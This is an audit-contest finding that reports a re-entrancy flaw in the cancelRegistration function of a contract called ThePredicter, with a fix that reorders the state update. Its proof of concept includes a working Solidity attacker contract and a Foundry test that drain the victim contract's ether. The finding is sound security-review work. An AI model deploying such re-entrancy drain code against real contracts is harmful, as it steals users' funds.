First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Re-Entrancy Attack in cancelRegistration Function

kapten

Finding 2: [High] Re-Entrancy Attack in cancelRegistration Function

Summary:
The ThePredicter:cancelRegistration function does not follow the C-E-I pattern, making this contract vulnerable to a Re-Entrancy Attack.

Vulnerability Details:
The ThePredicter:cancelRegistration function makes an external call without updating the state. A malicious contract can be deployed to join as a player and then cancel its participation, which sends entrance fees to the contract's receive function where it can again call the cancelRegistration function until the contract is drained.

Proof of Concept:
A test was conducted to demonstrate the issue:

  • Step 1: Create an Attacker contract

contract Attacker {
ThePredicter victim;
​
function attack(ThePredicter _victim) public {
victim = _victim;
victim.register{value: 0.04 ether}();
victim.cancelRegistration();
}
​
receive() external payable {
if (address(victim).balance > 0) {
victim.cancelRegistration();
}
}
}

  • Step 2: Deploy Attacker and call the attack function

function test_reentrancyInCancelation() public {
for (uint256 i = 0; i < 29; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
Attacker attacker = new Attacker();
vm.deal(address(attacker), 1 ether);
uint256 attackerBalanceBefore = address(attacker).balance;
attacker.attack(thePredicter);
uint256 attackerBalanceAfter = address(attacker).balance;
console.log("Attacker balance before: ", attackerBalanceBefore); // 1.000000000000000000 => 1 ether
console.log("Attacker balance after: ", attackerBalanceAfter); // 2.160000000000000000 => 2.1 ether
assert(attackerBalanceAfter > attackerBalanceBefore);
}

After calling the attack, the contract registers itself as a user and then cancels in the same call, so the organizer can't approve its registration. If the organizer approves the transaction, the attacker can't withdraw.

Impact:
High

Tools Used:

  • Manual review

  • Foundry

Recommendations:
Follow the Checks-Effects-Interactions (C-E-I) design pattern:

  • Remove the following:

    - if (playersStatus[msg.sender] == Status.Pending) {
    - // audit-high reentrancy can be done
    - (bool success, ) = msg.sender.call{value: entranceFee}("");
    - require(success, "Failed to withdraw");
    - playersStatus[msg.sender] = Status.Canceled;
    - return;
    - }

  • Add the following:

    + if (playersStatus[msg.sender] == Status.Pending) {
    + // audit-high reentrancy can be done
    + playersStatus[msg.sender] = Status.Canceled;
    + (bool success, ) = msg.sender.call{value: entranceFee}("");
    + require(success, "Failed to withdraw");
    + return;
    + }
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.